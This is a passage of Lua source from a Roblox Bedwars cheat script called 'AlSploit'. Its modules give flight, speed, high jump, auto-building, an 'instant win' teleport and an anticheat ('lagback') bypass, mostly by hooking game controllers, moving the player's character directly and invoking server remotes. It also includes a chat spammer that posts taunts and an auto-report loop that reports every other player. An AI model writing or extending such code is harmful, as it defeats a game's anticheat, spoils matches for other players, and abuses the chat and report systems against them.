RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local Raycast = WorkSpace:Raycast(TargetPosition, Vector3.new(0, -1000, 0), RaycastParameters)
if Raycast and Raycast.Position then
local Velocity = ((TargetPosition - LocalPlayerPrimaryPart.Position).Unit * 23)
LocalPlayerPrimaryPart.Velocity = Velocity
end
end
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.TargetStrafe.Value == false
end,
HoverText = "Automatically Circles Around Desired Entities 💫"
})
local StrafeMode = TargetStrafe:CreateDropdown({
Name = "StrafeMode",
HoverText = "Adapts The TargetStrafe To The Selected Mode"
})
StrafeMode:CreateToggle({
Name = "Normal",
Function = function() end,
DefaultValue = true
})
StrafeMode:CreateToggle({
Name = "1v1",
Function = function() end,
DefaultValue = false
})
TargetStrafe:CreateToggle({
Name = "JumpAutomatically",
Function = function() end,
DefaultValue = true
})
TargetStrafe:CreateToggle({
Name = "TargetMobs",
Function = function() end,
DefaultValue = false
})
TargetStrafe:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 18,
DefaultValue = 18
})
end)
task.spawn(function()
local InstantWin = BlatantTab:CreateToggle({
Name = "InstantWin",
Function = function()
repeat
task.wait()
if AlSploitSettings.InstantWin.Value == true and GetMatchState() == 0 then
CreateNotification(5, "Waiting For Match To Start For InstantWin")
task.wait(5)
end
until GetMatchState() ~= 0 or AlSploitSettings.InstantWin.Value == false or shared.AlSploitUnInjected == true
if AlSploitSettings.InstantWin.Value == true then
CreateNotification(3, "Starting InstantWin")
AlSploitSettings.InstantWin.Value = false
local TeleportData = TeleportService:GetLocalPlayerTeleportData()
TeleportService:Teleport(game.PlaceId, LocalPlayer, TeleportData)
end
end,
HoverText = "Wins the game instantly 🏆"
})
end)
task.spawn(function()
local HighJump, Self
HighJump, Self = BlatantTab:CreateToggle({
Name = "HighJump",
Function = function()
if AlSploitSettings.HighJump.Value == true and shared.AlSploitUnInjected == false and AnticheatBypassing == false then
for i = 1, 3 do
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, 0, LocalPlayer.Character.PrimaryPart.Velocity.Z)
LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(LocalPlayer.Character.PrimaryPart.Position + Vector3.new(0, (AlSploitSettings.HighJump.Height.Value / 3), 0))
task.wait(0.2)
end
end
AlSploitSettings.HighJump.Value = false
Self.TextColor3 = Color3.new(1, 1, 1)
end
end,
HoverText = "Makes You Jump High 🥾"
})
HighJump:CreateSlider({
Name = "Height",
Function = function() end,
MaximumValue = 200,
DefaultValue = 125
})
end)
task.spawn(function()
local InfiniteFlyDown
local InfiniteFlyUp
local Clone
task.spawn(function()
UserInputService.InputBegan:Connect(function(Input)
if UserInputService:GetFocusedTextBox() then return end
if Input.KeyCode == Enum.KeyCode.LeftShift then
InfiniteFlyDown = true
end
if Input.KeyCode == Enum.KeyCode.Space then
InfiniteFlyUp = true
end
end)
end)
task.spawn(function()
UserInputService.InputEnded:Connect(function(Input)
if UserInputService:GetFocusedTextBox() then return end
if Input.KeyCode == Enum.KeyCode.LeftShift then
InfiniteFlyDown = false
end
if Input.KeyCode == Enum.KeyCode.Space then
InfiniteFlyUp = false
end
end)
end)
local InfiniteFly = BlatantTab:CreateToggle({
Name = "InfiniteFly",
Function = function()
if AlSploitSettings.InfiniteFly.Value == true and IsAlive(LocalPlayer) == true and AnticheatBypassing == false then
if not Clone then
Clone = CreateClone(false)
end
Clone.PrimaryPart.Anchored = true
Clone.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame
LocalPlayer.Character.PrimaryPart.CFrame += Vector3.new(0, 1000000, 0)
end
repeat
task.wait()
if Clone then
Clone.PrimaryPart.CFrame = CFrame.new(Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, (Clone.PrimaryPart.Position.Y + (InfiniteFlyUp and (AlSploitSettings.InfiniteFly.FlyUpSpeed.Value / 10) or 0) + (InfiniteFlyDown and -(AlSploitSettings.InfiniteFly.FlyDownSpeed.Value / 10) or 0)), LocalPlayer.Character.PrimaryPart.Position.Z))
end
until shared.AlSploitUnInjected == true or AlSploitSettings.InfiniteFly.Value == false
if IsAlive(LocalPlayer) and Clone then
LocalPlayer.Character.PrimaryPart.CFrame = Clone.PrimaryPart.CFrame
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0)
LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Landed)
end
if Clone then
Clone:Destroy()
Clone = nil
Camera.CameraSubject = LocalPlayer.Character.Humanoid
end
end,
HoverText = "Lets You Fly For An Infinite Amount Of Time 🦋"
})
InfiniteFly:CreateSlider({
Function = function() end,
Name = "FlyDownSpeed",
MaximumValue = 25,
DefaultValue = 5
})
InfiniteFly:CreateSlider({
Name = "FlyUpSpeed",
Function = function() end,
MaximumValue = 25,
DefaultValue = 5
})
end)
task.spawn(function()
local Scaffold = BlatantTab:CreateToggle({
Name = "Scaffold",
Function = function()
repeat
task.wait()
task.spawn(function()
if IsAlive(LocalPlayer) == true and AlSploitSettings.Fly.Value == false and GetMatchState() ~= 0 and AlSploitSettings.Scaffold.Value == true then
for i = 1, (AlSploitSettings.Scaffold.Expand.Value * 3) do
local BuildPosition = (LocalPlayer.Character.PrimaryPart.Position + ((LocalPlayer.Character.PrimaryPart.CFrame.LookVector * i) - Vector3.new(0, (LocalPlayer.Character.PrimaryPart.Size.Y / 2) + ((LocalPlayer.Character.Humanoid.HipHeight + (LocalPlayer.Character.Humanoid.HipHeight / 2))), 0)))
local RealBuildPosition = GetDevidedPosition(BuildPosition)
local Block = GetBlock()
if Block then
BedwarsRemotes.BlockPlacingRemote:InvokeServer({blockType = Block, blockData = 0, position = RealBuildPosition})
end
end
end
end)
until AlSploitSettings.Scaffold.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Places Blocks Automatically 🔨"
})
Scaffold:CreateSlider({
Name = "Expand",
Function = function() end,
MaximumValue = 4,
DefaultValue = 2
})
end)
task.spawn(function()
local function FindPlacedBlock(Position)
local BlockRaycastParameters = RaycastParams.new()
BlockRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character:GetDescendants()}
BlockRaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
local Direction = (Position - LocalPlayer.Character.PrimaryPart.Position).Unit
local BlockRaycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Direction, BlockRaycastParameters)
if BlockRaycast then
if BlockRaycast.Position and BlockRaycast.Instance and BlockRaycast.Instance.CanCollide == true then
return true
end
end
return false
end
local Spider = BlatantTab:CreateToggle({
Name = "Spider",
Function = function()
task.spawn(function()
if AlSploitSettings.Spider.Value == true then
AlSploitConnections["SpiderConnection"] = RunService.Heartbeat:Connect(function(Delta)
if IsAlive(LocalPlayer) == true then
local MoveDirection = LocalPlayer.Character.Humanoid.MoveDirection
local BlockRay = FindPlacedBlock(LocalPlayer.Character.PrimaryPart.Position + ((MoveDirection * 3) - Vector3.new(0, LocalPlayer.Character.Humanoid.HipHeight, 0)))
if BlockRay then
for i = 1, 5 do
task.spawn(function()
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, AlSploitSettings.Spider.Speed.Value, LocalPlayer.Character.PrimaryPart.Velocity.Z)
end)
end
end
end
end)
end
end)
if AlSploitSettings.Speed.Value == false and AlSploitConnections["SpiderConnection"] then
AlSploitConnections["SpiderConnection"]:Disconnect()
end
end,
HoverText = "Gives You The Ability To Climb Like A Spider 🕷️"
})
Spider:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 60
})
end)
task.spawn(function()
local LocalPlayerSpeed = 0
local DeltaTime = 0.2
local TopSpeed = 23.33
task.spawn(function()
task.wait(1)
local LastPosition = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, 0, LocalPlayer.Character.PrimaryPart.Position.Z)
local LastTick = tick()
repeat
task.wait(0)
local CurrentTick = tick()
local DeltaTimeSinceLastUpdate = CurrentTick - LastTick
if DeltaTimeSinceLastUpdate >= DeltaTime then
if IsAlive(LocalPlayer) == true then
local CurrentPosition = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, 0, LocalPlayer.Character.PrimaryPart.Position.Z)
LocalPlayerSpeed = (CurrentPosition - LastPosition).Magnitude / DeltaTimeSinceLastUpdate
LastPosition = CurrentPosition
LastTick = CurrentTick
end
end
until shared.AlSploitUnInjected == true
end)
task.spawn(function()
if BedwarsKnitControllers.WindWalkerController then
repeat task.wait() until GetMatchState() ~= 0
local ZephyrUpdate = BedwarsKnitControllers.WindWalkerController.updateJump
BedwarsKnitControllers.WindWalkerController.updateJump = function(self, Orb, ...)
ZephyrOrb = (IsAlive(LocalPlayer) == true and Orb or 0)
return ZephyrUpdate(self, Orb, ...)
end
end
end)
local Speed = BlatantTab:CreateToggle({
Name = "Speed",
Function = function()
task.spawn(function()
if AlSploitSettings.Speed.Value == true then
AlSploitConnections["SpeedConnection"] = RunService.Heartbeat:Connect(function(Delta)
if IsAlive(LocalPlayer) == true then
local SpeedRaycastParameters = RaycastParams.new()
SpeedRaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
SpeedRaycastParameters.FilterType = Enum.RaycastFilterType.Include
local SpeedValue = GetSpeed()
local ExtraSpeedValue = ((LocalPlayerSpeed > 23 and LocalPlayerSpeed < TopSpeed) and TopSpeed - LocalPlayerSpeed or 0)
local SpeedPosition = (LocalPlayer.Character.Humanoid.MoveDirection * ((SpeedValue + ExtraSpeedValue) * Delta))
local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, SpeedPosition, SpeedRaycastParameters)
if not Raycast then
LocalPlayer.Character.PrimaryPart.CFrame = (LocalPlayer.Character.PrimaryPart.CFrame + SpeedPosition)
end
end
end)
end
end)
if AlSploitSettings.Speed.Value == false and AlSploitConnections["SpeedConnection"] then
AlSploitConnections["SpeedConnection"]:Disconnect()
end
end,
HoverText = "Makes Your Speed Equal To The Desired Value ⚡"
})
Speed:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 23,
DefaultValue = 23
})
end)
task.spawn(function()
local MaxFlyTime = 2.1
local FlyTime = tick()
local FlyDown
local FlyUp
local FlyHud, NumberDisplay, SliderDisplay, UIStroke = CreateFlyHud()
local BodyVelocity
local Fly, Self
task.spawn(function()
UserInputService.InputBegan:Connect(function(Input)
if UserInputService:GetFocusedTextBox() then return end
if Input.KeyCode == Enum.KeyCode.LeftShift then
FlyDown = true
end
if Input.KeyCode == Enum.KeyCode.Space then
FlyUp = true
end
end)
end)
task.spawn(function()
UserInputService.InputEnded:Connect(function(Input)
if UserInputService:GetFocusedTextBox() then return end
if Input.KeyCode == Enum.KeyCode.LeftShift then
FlyDown = false
end
if Input.KeyCode == Enum.KeyCode.Space then
FlyUp = false
end
end)
end)
Fly, Self = BlatantTab:CreateToggle({
Name = "Fly",
Function = function()
FlyTime = 0
if IsAlive(LocalPlayer) == true and AlSploitSettings.Fly.Value == true then
BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.Parent = LocalPlayer.Character.PrimaryPart
BodyVelocity.Name = "FlyBodyVelocity"
BodyVelocity.MaxForce = Vector3.new(0, math.huge, 0)
end
repeat
task.wait()
task.spawn(function()
FlyHud.Visible = AlSploitSettings.Fly.FlyHud.Value
if (tick() - FlyTime) <= MaxFlyTime then
local FlyTime = DecimalRound((tick() - FlyTime), 1)
NumberDisplay.Text = FlyTime
local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
local DisplayTween = TweenService:Create(SliderDisplay, TweenInformation, {Size = UDim2.new(FlyTime / MaxFlyTime, 0, 1, 0)})
DisplayTween:Play()
if (tick() - FlyTime) <= 0.05 then
local TweenInformation = TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
local DisplayTween = TweenService:Create(SliderDisplay, TweenInformation, {Size = UDim2.new(FlyTime / MaxFlyTime, 0, 1, 0)})
DisplayTween:Play()
end
NumberDisplay.Text = FlyTime
local ColorSplit = string.split(AlSploitSettings.Fly.FlyHudUIStrokeColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
local ColorSplit = string.split(AlSploitSettings.Fly.FlyHudSliderColor.Value, ",")
local R2 = ColorSplit[1]
local G2 = ColorSplit[2]
local B2 = ColorSplit[3]
SliderDisplay.BackgroundColor3 = Color3.new(R2, G2, B2)
local ColorSplit3 = string.split(AlSploitSettings.Fly.FlyHudTextColor.Value, ",")
local R3 = ColorSplit3[1]
local G3 = ColorSplit3[2]
local B3 = ColorSplit3[3]
NumberDisplay.TextColor3 = Color3.new(R3, G3, B3)
end
end)
if IsTouchingGround(LocalPlayer) == true then
FlyTime = tick()
end
if BodyVelocity then
BodyVelocity.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, ((FlyDown and -AlSploitSettings.Fly.FlyDownSpeed.Value or 0) + (FlyUp and AlSploitSettings.Fly.FlyUpSpeed.Value or 0)), LocalPlayer.Character.PrimaryPart.Velocity.Z)
end
if (tick() - FlyTime) >= MaxFlyTime then
FlyTime = tick()
local FlyTeleportPosition = 0
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local FlyRaycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Vector3.new(0, -5000, 0), RaycastParameters)
if FlyRaycast and IsAlive(LocalPlayer) == true then
local Args = {LocalPlayer.Character.PrimaryPart.CFrame:GetComponents()}
Args[2] = ((FlyRaycast.Position.Y + 4) + LocalPlayer.Character.Humanoid.HipHeight)
FlyTeleportPosition = LocalPlayer.Character.PrimaryPart.Position.Y
LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(unpack(Args))
BodyVelocity.Velocity = Vector3.new(0, -50, 0)
task.spawn(function()
task.wait(0.15)
if IsAlive(LocalPlayer) == true then
Args = {LocalPlayer.Character.PrimaryPart.CFrame:GetComponents()}
Args[2] = FlyTeleportPosition
BodyVelocity.Velocity = Vector3.new(0, 0, 0)
LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(unpack(Args))
end
end)
end
end
until AlSploitSettings.Fly.Value == false or IsAlive(LocalPlayer) == false or shared.AlSploitUnInjected == true
if BodyVelocity then
BodyVelocity:Destroy()
end
FlyHud.Visible = false
AlSploitSettings.Fly.Value = false
Self.TextColor3 = Color3.new(1, 1, 1)
end,
HoverText = "Makes You Fly 🐦"
})
Fly:CreateToggle({
Name = "FlyHud",
Function = function() end,
DefaultValue = true
})
Fly:CreateSlider({
Name = "FlyDownSpeed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 40
})
Fly:CreateSlider({
Name = "FlyUpSpeed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 40
})
Fly:CreateColorSlider({
Name = "FlyHudUIStrokeColor",
Function = function() end,
DefaultValue = Color3.new(0, 0.6, 1)
})
Fly:CreateColorSlider({
Name = "FlyHudSliderColor",
Function = function() end,
DefaultValue = Color3.new(0, 0.6, 1)
})
Fly:CreateColorSlider({
Name = "FlyHudTextColor",
Function = function() end,
DefaultValue = Color3.new(0, 0.6, 1)
})
end)
task.spawn(function()
local OldHorizontalOffset = BedwarsControllers.ViewModelController:GetAttribute("ConstantManager_HORIZONTAL_OFFSET")
local OldVerticalOffset = BedwarsControllers.ViewModelController:GetAttribute("ConstantManager_VERTICAL_OFFSET")
local OldDepthOffset = BedwarsControllers.ViewModelController:GetAttribute("ConstantManager_DEPTH_OFFSET")
local ViewModelChanger = UtilityTab:CreateToggle({
Name = "ViewModelChanger",
Function = function()
if AlSploitSettings.ViewModelChanger.Value == true and ViewModel and C1 then
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", (AlSploitSettings.ViewModelChanger.Horizontal.Value / 10))
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_VERTICAL_OFFSET", (AlSploitSettings.ViewModelChanger.Vertical.Value / 10))
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_DEPTH_OFFSET", -(AlSploitSettings.ViewModelChanger.Depth.Value / 10))
ViewModel:WaitForChild("RightHand"):WaitForChild("RightWrist").C1 = (C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad((AlSploitSettings.ViewModelChanger.Horizontal.Value / 3))))
end
if AlSploitSettings.ViewModelChanger.Value == false and ViewModel and C1 then
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", OldHorizontalOffset)
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_VERTICAL_OFFSET", OldVerticalOffset)
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_DEPTH_OFFSET", OldDepthOffset)
ViewModel:WaitForChild("RightHand"):WaitForChild("RightWrist").C1 = (C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad((OldHorizontalOffset / 3))))
end
end,
HoverText = "Allows You To Change Your ViewModel (First Person Camera) 📷"
})
ViewModelChanger:CreateSlider({
Name = "Horizontal",
Function = function()
if AlSploitSettings.ViewModelChanger.Value == true then
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", (AlSploitSettings.ViewModelChanger.Horizontal.Value / 10))
end
end,
MaximumValue = 45,
DefaultValue = 15
})
ViewModelChanger:CreateSlider({
Name = "Vertical",
Function = function()
if AlSploitSettings.ViewModelChanger.Value == true and ViewModel and C1 then
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_VERTICAL_OFFSET", (AlSploitSettings.ViewModelChanger.Vertical.Value / 10))
C1 = (C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad((AlSploitSettings.ViewModelChanger.Horizontal.Value / 3))))
end
end,
MaximumValue = 15,
DefaultValue = 5
})
ViewModelChanger:CreateSlider({
Name = "Depth",
Function = function()
if AlSploitSettings.ViewModelChanger.Value == true then
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_DEPTH_OFFSET", -(AlSploitSettings.ViewModelChanger.Depth.Value / 10))
end
end,
MaximumValue = 105,
DefaultValue = 35
})
UnInjectEvent.Event:Connect(function()
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", OldHorizontalOffset)
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_VERTICAL_OFFSET", OldVerticalOffset)
BedwarsControllers.ViewModelController:SetAttribute("ConstantManager_DEPTH_OFFSET", OldDepthOffset)
ViewModel:WaitForChild("RightHand"):WaitForChild("RightWrist").C1 = (C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad((OldHorizontalOffset / 3))))
end)
end)
task.spawn(function()
local OldMoveFunction = require(game.Players.LocalPlayer.PlayerScripts.PlayerModule.ControlModule).moveFunction
local Clone
local function AttemptAnticheatBypass()
AnticheatBypassing = true
Clone = CreateClone(false)
BedwarsModules.ControlModule.OldmoveFunction = function(Self, Vec, ...)
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {CollectionServiceBlocks}
RaycastParameters.FilterType = Enum.RaycastFilterType.Include
local LookVector = Vector3.new(Camera.CFrame.LookVector.X, 0, Camera.CFrame.LookVector.Z).Unit
if Clone.PrimaryPart then
local Raycast = WorkSpace:Raycast((Clone.PrimaryPart.Position + LookVector), Vector3.new(0, -1000, 0), RaycastParameters)
local Raycast2 = WorkSpace:Raycast(((Clone.PrimaryPart.Position - Vector3.new(0, 15, 0)) + (LookVector * 5)), Vector3.new(0, -1000, 0), RaycastParameters)
if Raycast or Raycast2 then
Clone.PrimaryPart.CFrame = CFrame.new(Clone.PrimaryPart.Position + (LookVector / (16 / GetSpeed())))
Vec = LookVector
end
if not Clone then
if IsAlive(LocalPlayer) then
BedwarsModules.ControlModule.OldmoveFunction = OldMoveFunction
Camera.CameraSubject = LocalPlayer.Character.Humanoid
end
end
end
return OldMoveFunction(Self, Vec, ...)
end
end
local AntiLagback = BlatantTab:CreateToggle({
Name = "AntiLagback",
Function = function()
if AlSploitSettings.AntiLagback.Value == true then
AlSploitConnections["AntiLagbackConnection"] = LocalPlayer:GetAttributeChangedSignal("LastTeleported"):Connect(function()
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 and not LocalPlayer.Character:FindFirstChildWhichIsA("ForceField") then
CreateNotification(2, "Lagback Detected, Attempting Bypass")
AttemptAnticheatBypass()
task.wait(4.5)
if IsAlive(LocalPlayer) == false then
BedwarsModules.ControlModule.OldmoveFunction = OldMoveFunction
Clone:Destroy()
AnticheatBypassing = false
end
if IsAlive(LocalPlayer) == true then
BedwarsModules.ControlModule.OldmoveFunction = OldMoveFunction
Camera.CameraSubject = LocalPlayer.Character.Humanoid
Clone:Destroy()
AnticheatBypassing = false
CreateNotification(2, "Successfully Bypassed Lagback")
end
end
end)
end
if AlSploitSettings.AntiLagback.Value == false then
if AlSploitConnections["AntiLagbackConnection"] then
AlSploitConnections["AntiLagbackConnection"]:Disconnect()
end
BedwarsModules.ControlModule.OldmoveFunction = OldMoveFunction
end
end,
HoverText = "Bypasses Lagbacks (Anticheat) 🔐"
})
local MovementMethod = AntiLagback:CreateDropdown({
Name = "MovementMethod",
HoverText = "Decide If You Control The Movement Or The Script"
})
MovementMethod:CreateToggle({
Name = "Automatic",
Function = function() end,
DefaultValue = false
})
MovementMethod:CreateToggle({
Name = "Manual",
Function = function() end,
DefaultValue = true
})
end)
task.spawn(function()
local PickupItemRange = UtilityTab:CreateToggle({
Name = "PickupItemRange",
Function = function()
repeat
task.wait()
if IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 then
for i, v in next, CollectionService:GetTagged("ItemDrop") do
local Magnitude = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Magnitude <= AlSploitSettings.PickupItemRange.Range.Value then
BedwarsRemotes.PickupItemDropRemote:InvokeServer({itemDrop = v})
end
end
end
until AlSploitSettings.PickupItemRange.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Picks Up The Item From The Desired Range 🎖️"
})
PickupItemRange:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 10,
DefaultValue = 10
})
end)
task.spawn(function()
local KillFeedGui
task.spawn(function()
repeat
task.wait()
if GetMatchState() ~= 0 then
pcall(function()
KillFeedGui = LocalPlayer.PlayerGui.KillFeedGui
end)
end
until KillFeedGui
KillFeedGui.KillFeedContainer.Visible = false
end)
local HideKillFeed = UtilityTab:CreateToggle({
Name = "HideKillFeedGui",
Function = function()
if AlSploitSettings.HideKillFeedGui.Value == true and KillFeedGui then
KillFeedGui.KillFeedContainer.Visible = false
end
if AlSploitSettings.HideKillFeedGui.Value == false and KillFeedGui then
KillFeedGui.KillFeedContainer.Visible = true
end
end,
HoverText = "Hides The Kill Feed 🖼️"
})
UnInjectEvent.Event:Connect(function()
if ReplicatedStorageService:FindFirstChild("KillFeedHud") then
ReplicatedStorageService.KillFeedHud.Parent = LocalPlayer.PlayerGui
KillFeedGui = LocalPlayer.PlayerGui.KillFeedGui
end
end)
end)
task.spawn(function()
local QueueType = GetQueueType()
local AutoJoinQueue = UtilityTab:CreateToggle({
Name = "AutoJoinQueue",
Function = function() end,
HoverText = "Joins The Queue Automatically For You At The End Of The Game 🥋"
})
task.spawn(function()
if QueueType:find("Skywars") then
repeat task.wait() until AlSploitSettings.AutoJoinQueue.Value == false or shared.AlSploitUnInjected == true or IsAlive(LocalPlayer) == false
if AlSploitSettings.AutoJoinQueue.Value == true and shared.AlSploitUnInjected == false then
BedwarsRemotes.JoinQueueRemote:FireServer({queueType = GetQueueType()})
end
end
end)
task.spawn(function()
repeat task.wait() until AlSploitSettings.AutoJoinQueue.Value == false or shared.AlSploitUnInjected == true or GetMatchState() == 2
if AlSploitSettings.AutoJoinQueue.Value == true and shared.AlSploitUnInjected == false then
print("Joining ".. GetQueueType())
BedwarsRemotes.JoinQueueRemote:FireServer({queueType = GetQueueType()})
end
end)
end)
task.spawn(function()
local MessageTable = {
Message1 = "3+ Years Now And The Anticheat Is Still The Same | AlSploit On Top",
Message2 = "Clowns Are The Only Ones We Eliminate | AlSploit On Top",
Message3 = "InstantWin Is So Fun 😂 | AlSploit On Top",
Message4 = "Best Anticheat Ever ™️ | AlSploit On Top",
Message5 = "Get Back To Scripting, Skids | AlSploit On Top",
Message6 = "Voidware Has The Best Logger!!! | AlSploit On Top"
}
local ChatSpammer = UtilityTab:CreateToggle({
Name = "ChatSpammer",
Function = function()
repeat
task.wait()
for i, v in next, MessageTable do
if AlSploitSettings.ChatSpammer.Value == true then
TextChatService.ChatInputBarConfiguration.TargetTextChannel:SendAsync(v)
task.wait(500 / AlSploitSettings.ChatSpammer.Speed.Value)
end
end
until AlSploitSettings.ChatSpammer.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Spams The Chat 🗣️"
})
ChatSpammer:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 50
})
end)
task.spawn(function()
local EntityNotifier = UtilityTab:CreateToggle({
Name = "EntityNotifier",
Function = function()
if AlSploitSettings.EntityNotifier.Value == true then
AlSploitConnections["EntityNotifierConnection"] = CollectionService:GetInstanceAddedSignal("GuardianOfDream"):Connect(function()
CreateNotification(3, "A GuardianOfDream Has Spawned")
end)
AlSploitConnections["EntityNotifierConnection"] = CollectionService:GetInstanceAddedSignal("DiamondGuardian"):Connect(function()
CreateNotification(3, "A DiamondGuardian Has Spawned")
end)
AlSploitConnections["EntityNotifierConnection2"] = CollectionService:GetInstanceAddedSignal("GolemBoss"):Connect(function()
CreateNotification(3, "A GolemBoss Has Spawned")
end)
AlSploitConnections["EntityNotifierConnection3"] = CollectionService:GetInstanceAddedSignal("skeleton"):Connect(function()
CreateNotification(3, "A Skeleton Has Spawned")
end)
AlSploitConnections["EntityNotifierConnection4"] = CollectionService:GetInstanceAddedSignal("Drone"):Connect(function()
CreateNotification(3, "A Drone Has Spawned")
end)
end
if AlSploitSettings.EntityNotifier.Value == false and AlSploitConnections["EntityNotifierConnection"] then
for i, v in next, AlSploitConnections do
if string.find(v, "EntityNotifierConnection") then
v:Disconnect()
end
end
end
end,
HoverText = "Notifies You When An Entity Is Added ➕"
})
end)
task.spawn(function()
local OldGlobalChatSystemMessages = ClientStore:getState().Settings.global_chat_system_messages
local OldProfileVisibility = ClientStore:getState().Settings.profile_visilility
local OldFriendSpectating = ClientStore:getState().Settings.friendSpectating
local OldStreamerMode = ClientStore:getState().Settings.streamer_mode
local Anonymous = UtilityTab:CreateToggle({
Name = "Anonymous",
Function = function()
if AlSploitSettings.Anonymous.Value == true then
OldGlobalChatSystemMessages = ClientStore:getState().Settings.global_chat_system_messages
OldProfileVisibility = ClientStore:getState().Settings.profile_visilility
OldFriendSpectating = ClientStore:getState().Settings.friendSpectating
OldStreamerMode = ClientStore:getState().Settings.streamer_mode
ClientStore:getState().Settings.global_chat_system_messages = false
ClientStore:getState().Settings.profile_visilility = "private"
ClientStore:getState().Settings.friendSpectating = false
ClientStore:getState().Settings.streamer_mode = true
end
if AlSploitSettings.Anonymous.Value == false then
ClientStore:getState().Settings.global_chat_system_messages = OldGlobalChatSystemMessages
ClientStore:getState().Settings.profile_visilility = OldProfileVisibility
ClientStore:getState().Settings.friendSpectating = OldFriendSpectating
ClientStore:getState().Settings.streamer_mode = OldStreamerMode
end
end,
HoverText = "Makes You Anonymous To Players 🕵️"
})
UnInjectEvent.Event:Connect(function()
ClientStore:getState().Settings.global_chat_system_messages = OldGlobalChatSystemMessages
ClientStore:getState().Settings.friendSpectating = OldFriendSpectating
ClientStore:getState().Settings.streamer_mode = OldStreamerMode
end)
end)
task.spawn(function()
local ReportedList = {}
local AutoReport = UtilityTab:CreateToggle({
Name = "AutoReport",
Function = function()
repeat
task.wait(2)
task.spawn(function()
for i, v in next, PlayerService:GetPlayers() do
if v ~= LocalPlayer and v:GetAttribute("PlayerConnected") and not ReportedList[v] then
BedwarsRemotes.ReportPlayerRemote:FireServer(v.UserId)
ReportedList[v] = v.UserId
end
end
end)
until AlSploitSettings.AutoReport.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Reports Players Automatically 🥊"
})
end)
task.spawn(function()
if BedwarsKnitControllers.SprintController then
local OldSprintFunction = BedwarsKnitControllers.SprintController.stopSprinting
local AutoSprint = UtilityTab:CreateToggle({
Name = "AutoSprint",
Function = function()
if AlSploitSettings.AutoSprint.Value == true then
OldSprintFunction = BedwarsKnitControllers.SprintController.stopSprinting
BedwarsKnitControllers.SprintController.stopSprinting = function(...)
local Function = OldSprintFunction(...)
BedwarsKnitControllers.SprintController:startSprinting()
return Function
end
task.spawn(function()
BedwarsKnitControllers.SprintController:startSprinting()
end)
end
if AlSploitSettings.AutoSprint.Value == false then
BedwarsKnitControllers.SprintController.stopSprinting = OldSprintFunction
BedwarsKnitControllers.SprintController:stopSprinting()
end
end,
HoverText = "Makes You Sprint Automatically 🐾"
})
UnInjectEvent.Event:Connect(function()
BedwarsKnitControllers.SprintController.stopSprinting = OldSprintFunction
BedwarsKnitControllers.SprintController:stopSprinting()
end)
end
if not BedwarsKnitControllers.SprintController then
local AutoSprint = UtilityTab:CreateToggle({
Name = "AutoSprint",
Function = function()
repeat
task.wait()
LocalPlayer:SetAttribute('Sprinting', true)
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.Humanoid.WalkSpeed = 20
if AlSploitSettings.Fov.Value == false then
Camera.FieldOfView = 77
end
end
